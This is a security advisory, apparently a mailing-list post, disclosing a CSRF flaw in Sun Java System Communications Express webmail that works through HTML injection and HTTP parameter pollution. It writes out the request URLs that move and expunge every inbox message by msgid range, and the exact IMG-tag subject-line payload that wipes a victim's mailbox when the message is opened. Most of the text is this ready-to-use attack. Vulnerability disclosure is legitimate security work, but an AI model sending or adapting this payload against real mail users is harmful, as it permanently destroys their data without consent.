Hello,

As a continuation of my advisory about "Sun Java System Communications Express Multiple HTML Injection Vulnerabilities" that can be found here: (http://www.securityfocus.com/bid/34083/info), I would like to introduce another potential security threat in the same product and based on my previous discussion.

This time an attacker can benefit from the HTML injection flaw found in the message subject field to launch a deadly CSRF attack that would delete all the victim's inbox messages permanently and forever. The attack is done via HPP (HTTP Parameter Pollution) in the main queries used by the system.

The URL below would move all the messages with msgid between 0 and 1000000 to the trash:
http[s]://[servername]:[port]/cmd.msc?sid=&mbox=INBOX&cmd=move&argv=0:1000000&argv=Trash&argv=expunge

The URL below would delete all the messages in the trash with msgid between 0 and 1000000:
http[s]://[servername]:[port]/cmd.msc?sid=&mbox=Trash&cmd=expunge&argv=0:1000000&argv=force

It is easier for an attacker to assemble the above two HTML queries into a simple one that would achieve the same goal for him. So why not deleting the messages directly from the inbox instead of passing them to the trash and then deleting them?!
The following HTTP query would do the job perfectly:
http[s]://[servername]:[port]/cmd.msc?sid=&mbox=INBOX&cmd=expunge&argv=0:1000000&argv=force

So finally, what a hacker would do in a normal attack is to send the victim a message with the following subject:
<IMG SRC=http[s]://[servername]:[port]/cmd.msc?sid=&mbox=INBOX&cmd=expunge&argv=0:1000000&argv=force></IMG>
The payload was injected as a source for an image file so that it will load with the page as soon as the message is opened.

Now by sending the message, that attacker have crafted a malicious CSRF that would delete all the victim's inbox messages permanently.
In order for this attack to succeed, the victim must only open the malicious message and the exploit will work.

Best regards,
Edgard Chammas [454447415244]